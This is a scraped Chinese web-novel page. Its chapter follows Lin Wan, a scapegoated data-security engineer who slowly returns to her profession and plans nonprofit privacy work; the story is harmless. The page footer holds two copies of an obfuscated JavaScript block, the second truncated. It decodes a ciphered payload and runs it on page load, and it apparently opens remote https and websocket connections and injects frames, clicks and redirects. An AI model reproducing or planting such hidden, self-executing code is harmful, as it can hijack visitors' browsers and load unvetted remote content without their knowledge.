首页
前传 第161章 低谷蛰伏,
返回
关灯 护眼:关 字号:小

前传 第161章 低谷蛰伏,重拾数据安全专业

章节报错(免登陆)

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    前传第161章低谷蛰伏,重拾数据安全专业(第1/2页)
    深秋的江城,连阳光都带着一层淡淡的灰。
    老旧居民楼的窗台外面,悬着几盆蔫掉的绿萝,秋风卷着枯叶,一阵阵拍打玻璃窗。屋子里光线偏暗,窗帘拉了大半,只留一道窄窄的缝隙,漏进一缕稀薄的日光,落在书桌杂乱的键盘、显示器与堆叠如山的纸质资料上面。
    这里是林晚临时租住的出租屋。
    距离那场轰动行业的数据泄露事故,已经过去整整十一个月。
    十一个月,足够行业把一场灾难慢慢淡去,足够曾经的表彰、头衔、行业对年轻天才的赞誉,全部被舆论冲刷干净,只剩下一个甩不掉的标签——项目事故的主要责任人。
    曾经的林晚,是圈子里风头无两的数据安全新星。二十五岁不到,就在头部安全企业拿到核心项目入场券,会议上侃侃而谈,行业论坛上有她的席位,邮箱里常年堆满猎头的邀约。可一场重大泄露事故过后,公司一纸解约,业内无形的封杀网铺开,那些曾经追捧她的人,转眼之间避之如洪水猛兽。
    求职软件投出去的简历,石沉大海。少数愿意回复的HR,只要输入她的名字,检索一遍行业内部共享的风险名单,对话便戛然而止。
    整整十一个月,她把自己困在这套不到七十平米的老房子里。
    没有社交,几乎不外出,手机里大半联系人已经渐渐不再联系。昔日的同事、同学,有的发来过小心翼翼的慰问,也有人刻意疏远,生怕被这场事故牵连。
    最初那几个月,是无边无际的自我拉扯。
    无数个深夜,复盘事故的每一行代码、每一份文档、每一次会议记录。明明她多次提出测试周期不足的风险预警,明明管理层为了赶商业节点强行压缩测试流程,明明跨部门同事把本该承担的校验工作推诿拖延。可最终对外定调,所有罪责,尽数落到她这个负责具体落地的新人身上。
    公司需要一个背锅的人,舆论需要一个可以解释灾难的靶子。
    她,就成了那个最合适的人选。
    道理理智上全都明白,可完美主义刻进骨子里的人,很难轻易放过自己。
    哪怕知道不全是自己的错,可只要一想到成千上万普通用户的隐私数据外泄,普通人被骚扰、被诈骗,那些实实在在的伤害真实发生,愧疚就像细密的潮水,反反复复漫上来,把人淹没。
    自我怀疑,失眠,整夜整夜对着屏幕发呆。
    有很长一段时间,她看见代码就会生理性反胃。只要点开安全防护相关的文档,脑海里立刻就弹出事故爆发那一夜的画面:服务器告警疯狂刷屏,红色报错铺满屏幕,工作群里面此起彼伏的恐慌消息,管理层冷漠的问责,后来铺天盖地的新闻热搜。
    那些画面挥之不去。
    为了躲开心理应激反应,她一度把所有专业相关的书籍全部塞进阳台储物柜,电脑里面删掉全部安全项目工程包,刻意不去刷行业新闻,强迫自己彻底远离数据安全这个领域。
    她尝试过去找完全不相干的工作。投过行政,投过文档编辑,甚至面试过普通文职。
    可多年深耕技术,她的优势全部在网络安全领域,跨赛道求职处处碰壁。面试的时候,面试官总会好奇,为什么一个曾经前途光明的数据安全工程师,要转行做毫无技术门槛的文职。每一次被问到,都相当于又把那道伤疤重新揭开一遍。
    折腾了两三个月,兜兜转转,绕了一大圈,终究绕不开自己深耕多年的专业。
    人很难彻底割裂过去的自己。
    此刻午后,窗帘拉开一道细缝。
    林晚穿着一件洗得发白的灰色针织衫,头发简单束在脑后,脸色略显苍白,眼下带着淡淡的青黑,那是长久失眠留下的痕迹。她坐在书桌前,指尖悬在键盘上方,迟迟没有落下去。
    阳台储物柜的柜门敞开着,一摞摞厚重的专业书籍被重新搬了回来。网络攻防、隐私算法、数据溯源、国内外安全白皮书,高高的堆叠在书桌一角。尘封了大半年的专业资料,书页上落了薄薄一层灰尘。
    她深吸一口气,缓缓吐出。
    今天,她决定不再逃避。
    不是想要重回大厂,夺回昔日耀眼的地位,也不是想要向整个行业证明自己的清白。那些曾经渴求的东西,经过这一场跌落,已经变得很淡很淡。
    只是心底有一个声音,一直在反复告诉她:技术本身没有错。错的是资本短视的决策,是推诿甩锅的职场生态,是把技术当成收割工具的人。不该由她,彻底放弃自己钻研多年、真心热爱的东西。
    青衫落拓笔下的人物,从来都不是大起大落之后立刻逆袭翻盘。真正的成长,是在泥泞低谷之中,慢慢和自己对峙,一点点捡起破碎的自我,没有金手指,只有漫长、磨人的自我重建。
    林晚现在就在经历这个过程。
    她伸手,轻轻拂过一本厚厚的《数据隐私防护工程实践》的封面,指尖擦过积下的薄灰。
    这本书是她刚入行的时候买的,那时候一腔热血,笃信技术可以守护普通人的数据安全。书里面很多边角,都留着当年她手写的批注。时隔一年再翻开,那些稚嫩却赤诚的文字,依旧历历在目。
    “技术的终点,应当是保护人。”
    一行钢笔小字,写在扉页角落。
    看见这句话,林晚鼻尖微微发酸。
    这一年的封闭蛰伏,她并没有浑浑噩噩虚度光阴。表面上闭门不出,与世隔绝,私下里,她一直在做一件事:跳出曾经所在的大厂视角,以旁观者的身份,浏览大量公开的行业安全报告。
    那些大大小小的数据泄露事件,新闻报道里寥寥数语一笔带过,背后却是无数普通人的切身损失。电商平台用户信息批量倒卖、求职简历泄露、医疗隐私外流、普通人被垃圾短信电信诈骗轮番骚扰。
    很多事故的根源,并不全是技术人员能力不足。更多是企业为了盈利,漠视安全流程,压缩安全预算,跳过必要测试环节,把用户隐私当成可以随意牺牲的筹码。
    看得越多,心里越清醒。
    那场把她压入谷底的事故,不是一个孤立的意外,只是整个行业浮躁大环境之下,爆发出来的其中一桩悲剧而已。
    “不能因为有人把工具用错,就丢掉工具本身。”
    林晚低声对着空荡荡的房间,轻轻说出这句话。
    她打开电脑,没有立刻去写复杂的工程代码。先新建了一个空白文档,标题简单直接:《民间数据安全风险观察手记》。
    没有打算发表,不准备给谁看,只是写给自己。
    她把这大半年搜集到的公开泄露案例,一条一条整理归档。时间、事件、泄露数据规模、企业给出的公开说辞、背后暴露的流程漏洞,客观冷静逐条记录。
    敲击键盘的声音,在安静的小屋里面响起,清脆而单调。
    写着写着,思绪不由自主飘回多年前刚入行的时候。
    那时候她还在读大学,一腔热血,对未来满怀憧憬。老师在课堂上讲,数据安全从业者,是数字时代的守门人。那时候她信这句话,拼尽全力刷题、做实验、参加攻防竞赛,一路过关斩将,如愿进入国内头部安全企业。
    (本章未完,请点击下一页继续阅读)前传第161章低谷蛰伏,重拾数据安全专业(第2/2页)
    以为自己可以做守门人,最后却沦为制度弊病的牺牲品。
    理想被现实狠狠砸碎,摔得粉碎。
    可碎掉之后,要不要再一片片捡起来,选择权依旧握在自己手里。
    文档写了两个多小时,手腕微微发酸。林晚停下手指,端起桌边已经凉透的白开水喝了一口。
    电脑右下角,弹出一条行业推送新闻。
    荆棘科技最新发布新一代企业安全套件,通稿铺天盖地,大肆宣传防护能力,宣称要重塑国内数据安全格局。
    配图上面,荆棘科技的创始人站在发布会台上,意气风发。
    林晚目光淡淡扫过新闻内容。
    蛰伏的这一年,她看过不少关于荆棘科技的业内匿名爆料。这家公司扩张速度飞快,拿了好几轮融资,市场声势做得极大,可圈子内部私下流传,他们不少核心模块,借鉴甚至抄袭同行成果,为了快速抢占市场,经常简化安全校验流程,产品外壳光鲜,底层隐患重重。
    资本追逐短期收益,速度优先,安全让步。
    这正是她当年亲身经历过的困境。
    她没有点开新闻,直接把推送窗口关掉。
    别人的喧嚣,已经很难再搅动她的心绪。如今的她,不再渴求行业的光环,不再想要站在发布会的聚光灯下。
    关掉新闻弹窗之后,她打开一个许久没有触碰的开源代码社区。
    账号还是多年前注册的,出事之后,她几乎再也没有登录过。重新登录,消息箱里面堆积着几百条留言。有早期一起做开源项目的同行发来的关切,也有不明真相的人留下的指责与谩骂。
    林晚耐心地浏览了一部分,没有回复争吵,也没有辩解自己当年的冤屈。
    口舌争辩毫无意义,这个行业,终究要看代码,看实实在在的防护成果。
    她新建了一个私有项目仓库。
    不对外公开,不寻求star,不谋求商业变现。只是打算把自己对于普通用户隐私防护的一些想法,慢慢写成代码原型。面向普通人,面向小机构,不追求宏大的商业化,只解决最朴素的安全问题:普通人如何保护自己的浏览痕迹,小型公益组织如何避免内部敏感资料外泄。
    敲下第一行初始化代码的时候,指尖有一丝细微的颤抖。
    心底旧有的创伤条件反射又泛起。脑海一闪而过当年服务器红色告警的画面,心脏猛地一缩,呼吸微微急促。
    林晚停下,闭上眼睛,靠在椅背上,缓缓调整呼吸。
    她没有逼迫自己硬扛。
    经历那样重大的心理打击,不可能一朝之间彻底痊愈。恐惧还在,心结还在,不会因为自己决定重拾专业,创伤就凭空消失。
    她接纳这份胆怯。
    过了几分钟,情绪慢慢平复下来,重新睁开眼睛。
    “我可以慢一点。”她轻声对自己说。
    不再像从前那样,苛求自己做到百分之百完美,不允许自己出现一丝一毫差错。从前的完美主义,既是她的天赋,也是困住她的枷锁。正是那份绝不允许出错的执念,在事故发生之后,加倍折磨着她。
    如今,她试着放过自己。
    代码写一会儿,就停下来休息。累了就翻一翻安全白皮书,看一看海外公益安全项目的案例。
    浏览海外资料的时候,她看见不少非营利的民间安全团队。不为资本服务,不靠产品盈利,专门给弱势群体、公益机构提供免费的数据安全加固服务,保护他们的信息不被窃取。
    看到这些项目,林晚的眼神慢慢亮起来。
    原来这条路,不只有大厂、商业公司这一种选择。
    数据安全,不一定非要依附资本,不一定需要轰轰烈烈的商业项目。守护数据,也可以走向公益,走向普通人。
    一颗种子,就在这个安静的下午,悄悄埋进心底。
    她打开记事本,写下几行简短的构想。
    第一:打磨轻量化的安全工具,面向没有技术能力的普通人和公益机构;
    第二:做科普,把晦涩的数据安全知识,转化成普通人看得懂的文字;
    第三:不追求商业回报,只求实实在在减少信息泄露带来的伤害。
    这还只是很模糊的雏形,没有完整方案,没有资金,没有团队,一切都仅仅停留在纸面想法。可比起过去在大厂里面,被KPI、商业节点推着往前走,此刻的想法,完完全全源于自己内心。
    屋外天色慢慢向晚,黄昏的柔光透过窗帘缝隙淌进房间。书桌、键盘、堆叠的书本,全部蒙上一层暖融融的薄光。
    手机嗡嗡震动了一下。
    是很久没有联系的大学导师发来的消息。
    【听说你一直在休整,不必急于回归行业。技术没有罪过,人也不必永远活在一次事故的阴影底下。如果有需要,我这边有些公益安全项目,可以给你提供参考。】
    简简单单一段话,没有说教,没有廉价的安慰。
    林晚盯着屏幕,眼眶微微发热。
    这一年,太多人要么避而远之,要么劝她“放下过去往前看”,轻飘飘一句放下,却不知道心底的伤口需要漫长时间愈合。导师寥寥数语,懂得她的挣扎。
    她指尖在屏幕上敲字回复:【谢谢老师,我正在慢慢捡回专业。以后有合适的公益方向,希望可以参与。】
    发送完毕,把手机放到一边。
    她重新看向电脑屏幕上那个空空荡荡的私有代码仓库。前路依旧迷茫,未来在哪里,依旧看不清。她不知道自己未来能不能再回到主流行业,不知道会不会再遇上职场倾轧,不知道心中构想的公益安全能不能落地。
    过去的伤痕,依旧蛰伏在心底。往后做项目,一旦再出现故障报错,旧日的恐慌大概率还会卷土重来。
    但至少,她不再逃避。
    不再因为世界曾经待自己不公,就抛弃心中认可的价值。
    出租屋外面,街道上行人渐渐多起来,下班的车流人声远远传过来,人间烟火照常流转。行业依旧喧嚣,荆棘科技这类企业继续跑马圈地,资本依旧在数据赛道疯狂逐利。
    而在这座城市一间不起眼的老旧出租屋里,那个曾经被行业重重摔落的年轻数据安全专家,在漫长的低谷蛰伏之后,安安静静,重新拾起了自己的专业。
    她没有一鸣惊人的逆袭,没有突如其来的机遇。只有日复一日,一点一点,自我修复,慢慢重建。
    属于林晚的救赎之路,才刚刚拉开序幕。
    窗外暮色渐浓,房间里的台灯被她伸手按亮,白色的灯光铺满书桌,照亮屏幕上一行行刚刚写下的代码。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 